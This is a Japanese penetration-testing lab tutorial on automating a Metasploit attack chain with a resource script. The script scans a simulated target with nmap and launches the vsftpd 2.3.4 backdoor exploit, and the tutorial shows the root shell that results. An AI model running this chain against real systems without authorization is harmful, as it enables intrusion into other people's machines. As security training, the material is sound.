Metasploit リソーススクリプトで攻撃を自動化する

Kali LinuxBeginner
オンラインで実践に進む

はじめに

Metasploit リソーススクリプトを使用した攻撃自動化のラボへようこそ。Metasploit Framework はペネトレーションテストのための強力なツールですが、各エンゲージメントでコマンドを手動で入力するのは繰り返しが多く、時間のかかる作業です。リソーススクリプトは .rc 拡張子を持つシンプルなテキストファイルで、これらのコマンドシーケンスを自動化できます。

このラボでは、脆弱なサービスに対する完全な攻撃チェーンを自動化するリソーススクリプトの作成方法を学びます。これには、ワークスペースのセットアップ、ターゲットのスキャン、エクスプロイトの選択、設定、そして攻撃の実行が含まれます。このラボの終わりには、独自のスクリプトを作成してペネトレーションテストのワークフローを効率化できるようになります。

このラボでは、シミュレートされた脆弱なマシンをターゲットにします。ターゲットマシンの IP アドレスは 10.0.2.15 であると仮定します。

.rc 拡張子を持つ新しいファイルの作成

このステップでは、リソーススクリプトファイルを作成します。Metasploit のリソーススクリプトは、単純に msfconsole コマンドのリストを含むテキストファイルであり、それらが順次実行されます。慣例として、これらのファイルには .rc 拡張子が付けられます。

nano テキストエディタを使用して、デフォルトの ~/project ディレクトリに attack.rc という名前のファイルを作成します。

ターミナルを開き、以下のコマンドを実行して新しいファイルを作成し、開きます。

nano attack.rc

このコマンドは、nano エディタで空のファイルを開きます。現時点では、空のファイルを保存してエディタを終了するだけで構いません。Ctrl+X、次に Y、最後に Enter を押してください。これで、次のステップで入力するリソーススクリプトファイルが作成されました。

ファイルに msfconsole コマンドのシーケンスを追加する

このステップでは、リソーススクリプトに最初のコマンドを追加します。これらのコマンドは、テスト用の専用ワークスペースを設定し、ターゲットに関する情報を収集するための基本的な Nmap スキャンを実行します。ワークスペースに作業を整理することは、Metasploit における良い習慣です。

まず、nano を使用して attack.rc ファイルを再度開きます。

nano attack.rc

次に、以下の行をファイルに追加します。最初のコマンドは vsftpd_lab という名前の新しいワークスペースを作成し、2 番目のコマンドはターゲット (10.0.2.15) に対して Nmap スキャンを実行し、結果をデータベースに保存します。

workspace -a vsftpd_lab
db_nmap -A 10.0.2.15

これらの 2 行を追加した後、attack.rc ファイルは以下のようになります。ファイルを保存し、Ctrl+XYEnter を押して nano を終了します。

エクスプロイトの使用、オプションの設定、実行を行うコマンドを含める

このステップでは、スクリプトにコアとなる攻撃コマンドを追加します。ここでは、VSFTPD サーバーにおける既知の脆弱性、具体的には vsftpd_234_backdoor エクスプロイトを標的とします。このエクスプロイトを選択し、必要なターゲットオプションを設定し、最後に実行するためのコマンドを追加します。

nano を使用して attack.rc ファイルを再度開きます。

nano attack.rc

以下のコマンドをファイルの末尾に追加します。これらのコマンドは Metasploit に以下の指示を出します。

  1. use exploit/unix/ftp/vsftpd_234_backdoor: 特定のエクスプロイトモジュールを選択します。
  2. set RHOSTS 10.0.2.15: RHOSTS (Remote Hosts) オプションをターゲットの IP アドレスに設定します。
  3. exploit: 攻撃を開始します。
use exploit/unix/ftp/vsftpd_234_backdoor
set RHOSTS 10.0.2.15
exploit

これらの行を追加した後、完全な attack.rc ファイルは以下の 5 つのコマンドを含むようになります。

workspace -a vsftpd_lab
db_nmap -A 10.0.2.15
use exploit/unix/ftp/vsftpd_234_backdoor
set RHOSTS 10.0.2.15
exploit

変更を保存し、nano エディタを終了します (Ctrl+XYEnter)。これで自動化された攻撃スクリプトが完成しました。

スクリプトを実行するために -r フラグ付きで msfconsole を起動する

このステップでは、作成したリソーススクリプトを実行します。Metasploit コンソールである msfconsole は、-r フラグの後にリソーススクリプトへのパスを指定して起動できます。これにより、Metasploit は起動時に指定されたファイルからコマンドを実行するようになります。

attack.rc ファイルが存在する ~/project ディレクトリにいることを確認してください。次に、ターミナルで以下のコマンドを実行します。

msfconsole -r attack.rc

このコマンドは Metasploit Framework を起動します。通常表示される msf6 > プロンプトがすぐに表示される代わりに、attack.rc の各コマンドが一つずつ実行され始めます。

攻撃チェーンの自動実行を観察する

この最終ステップでは、作成した自動スクリプトの結果を観察します。msfconsole が実行されると、attack.rc ファイル内の各コマンドからの出力が表示されます。ワークスペースが作成され、Nmap スキャンが実行され、エクスプロイトが設定され、最後に攻撃が開始される様子が確認できます。

攻撃が成功した場合、Metasploit はターゲットマシン上でコマンドシェルセッションを開きます。以下のようなメッセージが表示されます。

[*] Found shell.
[*] Command shell session 1 opened (10.0.2.4:42931 -> 10.0.2.15:6200) at 2023-10-27 10:30:00 -0400

これで、侵害されたターゲット上のシェルに入ることができました。これを検証するために、whoami のようなコマンドを実行して、どのユーザーとして実行しているかを確認できます。

whoami

期待される出力は以下のようになります。

root

これにより、自動スクリプトがターゲットを正常に侵害し、root アクセス権を取得したことが確認できます。

クリーンアップするには、exit と入力してコマンドシェルセッションを閉じ、再度 exit と入力して msfconsole を終了します。

まとめ

この実験では、Metasploit のリソーススクリプトを使用してペネトレーションテストのワークフローを自動化する方法を習得しました。

まず、リソーススクリプトファイル (attack.rc) を作成しました。次に、ワークスペースの作成、ターゲットのスキャン、エクスプロイトの選択と設定、そして最終的な攻撃の実行といった、完全な攻撃チェーンを実行するための msfconsole コマンドのシーケンスをそのファイルに記述しました。msfconsole -r コマンドを使用してこのスクリプトを実行する方法を学び、自動実行を観察しました。

このスキルは、セキュリティ評価における時間を節約し、一貫性を確保するために非常に価値があります。今後は、より複雑なスクリプトを作成して、将来のエンゲージメントにおけるさまざまな反復タスクを自動化できるようになります。